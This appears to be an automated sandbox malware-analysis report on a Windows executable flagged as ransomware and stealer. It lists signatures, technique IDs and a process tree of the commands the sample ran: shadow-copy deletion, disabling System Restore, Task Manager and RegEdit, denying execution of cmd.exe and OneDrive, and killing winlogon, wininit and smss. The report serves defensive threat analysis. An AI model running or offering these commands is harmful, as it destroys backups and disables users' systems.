c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f

Analysis

max time kernel
149s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/11/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
Size 644KB
Sample261103-e7a1asst6j
SHA256 c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f
MD5 8face27ecb631bfce468e0e41f9c781e
SHA1 03ff1a02b9ed26580a958ab08a42247c0e900d41
SHA512 29ec8417848422415ff88e97de219feeca51ec3133e69a26cee773fbdf3c7182bd9be8b4f93b874c6e8bb3dc577eaf8de436913975704100476c0c2f5f32aedc
SSDEEP 12288:iBz/9TpGx7xOvdodm3q74LQFnSHKFGK9E/5mV:+9T+7xOvdodmKlFGK9E/5mV
TLSH
T13BE4C68226DB0CFAEE932B7C61DB6336A739FE708B2A4B678144C1321C135D56D5EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution exploit impact persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Possible privilege escalation attempt 22 IoCs

exploit

pid	Process
1068	takeown.exe
1684	icacls.exe
1208	takeown.exe
5992	takeown.exe
5036	icacls.exe
1644	takeown.exe
5996	takeown.exe
2364	icacls.exe
5788	takeown.exe
1296	icacls.exe
2708	takeown.exe
1488	takeown.exe
3564	icacls.exe
2100	takeown.exe
4984	icacls.exe
1436	icacls.exe
5756	takeown.exe
540	icacls.exe
2704	icacls.exe
3668	takeown.exe
5764	icacls.exe
1132	icacls.exe

Modifies file permissions 1 TTPs 22 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5036	icacls.exe
1644	takeown.exe
1296	icacls.exe
5764	icacls.exe
1436	icacls.exe
1068	takeown.exe
2100	takeown.exe
3668	takeown.exe
5756	takeown.exe
1488	takeown.exe
5788	takeown.exe
540	icacls.exe
5996	takeown.exe
2364	icacls.exe
2704	icacls.exe
1132	icacls.exe
1208	takeown.exe
4984	icacls.exe
5992	takeown.exe
1684	icacls.exe
2708	takeown.exe
3564	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3960	vssadmin.exe
1160	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3024	taskkill.exe
5112	taskkill.exe
4832	taskkill.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1208	takeown.exe
Token: SeTakeOwnershipPrivilege	5992	takeown.exe
Token: SeTakeOwnershipPrivilege	5788	takeown.exe
Token: SeTakeOwnershipPrivilege	1644	takeown.exe
Token: SeTakeOwnershipPrivilege	5996	takeown.exe
Token: SeTakeOwnershipPrivilege	1068	takeown.exe
Token: SeTakeOwnershipPrivilege	2100	takeown.exe
Token: SeTakeOwnershipPrivilege	2708	takeown.exe
Token: SeTakeOwnershipPrivilege	3668	takeown.exe
Token: SeTakeOwnershipPrivilege	5756	takeown.exe
Token: SeTakeOwnershipPrivilege	1488	takeown.exe
Token: SeBackupPrivilege	5924	vssvc.exe
Token: SeRestorePrivilege	5924	vssvc.exe
Token: SeAuditPrivilege	5924	vssvc.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 1168	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	93
PID 4860 wrote to memory of 2816	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	96
PID 4860 wrote to memory of 1208	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	99
PID 4860 wrote to memory of 4984	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	101
PID 4860 wrote to memory of 5992	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	103
PID 4860 wrote to memory of 5036	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	105
PID 4860 wrote to memory of 5788	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	107
PID 4860 wrote to memory of 540	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	109
PID 4860 wrote to memory of 1644	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	111
PID 4860 wrote to memory of 1436	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	113
PID 4860 wrote to memory of 5996	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	115
PID 4860 wrote to memory of 2364	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	117
PID 4860 wrote to memory of 1068	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	119
PID 4860 wrote to memory of 1684	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	121
PID 4860 wrote to memory of 2100	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	123
PID 4860 wrote to memory of 1296	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	125
PID 4860 wrote to memory of 2708	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	127
PID 4860 wrote to memory of 2704	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	129
PID 4860 wrote to memory of 3668	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	131
PID 4860 wrote to memory of 5764	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	133
PID 4860 wrote to memory of 5756	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	135
PID 4860 wrote to memory of 1132	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	137
PID 4860 wrote to memory of 1488	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	139
PID 4860 wrote to memory of 3564	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	141
PID 4860 wrote to memory of 5292	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	143
PID 4860 wrote to memory of 5104	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	145
PID 4860 wrote to memory of 4004	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	147
PID 4860 wrote to memory of 3336	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	149
PID 4860 wrote to memory of 3096	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	151
PID 4860 wrote to memory of 208	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	153
PID 4860 wrote to memory of 4548	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	155
PID 4860 wrote to memory of 436	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	157
PID 4860 wrote to memory of 4888	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	159
PID 4860 wrote to memory of 2224	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	161
PID 4860 wrote to memory of 3960	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	165
PID 4860 wrote to memory of 1160	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	169
PID 4860 wrote to memory of 5316	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	171
PID 4860 wrote to memory of 5152	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	174
PID 4860 wrote to memory of 1852	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	176
PID 4860 wrote to memory of 3024	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	178
PID 4860 wrote to memory of 5112	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	180
PID 4860 wrote to memory of 4832	4860	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
"C:\Users\Admin\AppData\Local\Temp\c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:1168
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:2816
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\eventvwr.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\eventvwr.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4984
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\cmd.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5992
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\cmd.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5036
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\SysWOW64\cmd.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5788
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\SysWOW64\cmd.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:540
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\conhost.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\conhost.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1436
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\SysWOW64\conhost.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5996
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\SysWOW64\conhost.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2364
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\OneDriveSetup.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1068
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\OneDriveSetup.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1684
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\SysWOW64\OneDriveSetup.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2100
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\SysWOW64\OneDriveSetup.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1296
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files\Microsoft OneDrive\OneDrive.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files\Microsoft OneDrive\OneDrive.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2704
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3668
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5764
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files\Microsoft OneDrive\FileCoAuth.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5756
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files\Microsoft OneDrive\FileCoAuth.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1132
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files (x86)\Microsoft OneDrive\FileCoAuth.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files (x86)\Microsoft OneDrive\FileCoAuth.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3564
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive" /v DisableFileSyncNGSC /t REG_DWORD /d 1 /f
  2⤵
  PID:5292
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive" /v DisableFileSync /t REG_DWORD /d 1 /f
  2⤵
  PID:5104
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /f
  2⤵
  PID:4004
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /f
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" /f
  2⤵
  PID:3096
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE7}" /f
  2⤵
  PID:208
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\onedrive" /f
  2⤵
  PID:4548
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCU\Software\Classes\onedrive" /f
  2⤵
  PID:436
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /delete /tn "\Microsoft\Windows\OneDrive Standalone Update Task" /f
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /delete /tn "\Microsoft\Windows\OneDrive Reporting Task" /f
  2⤵
  PID:2224
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3960
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1%
  2⤵
  - Interacts with shadow copies
  PID:1160
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:5316
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:5152
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:1852
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im winlogon.exe
  2⤵
  - Kills process with taskkill
  PID:3024
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im wininit.exe
  2⤵
  - Kills process with taskkill
  PID:5112
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im smss.exe
  2⤵
  - Kills process with taskkill
  PID:4832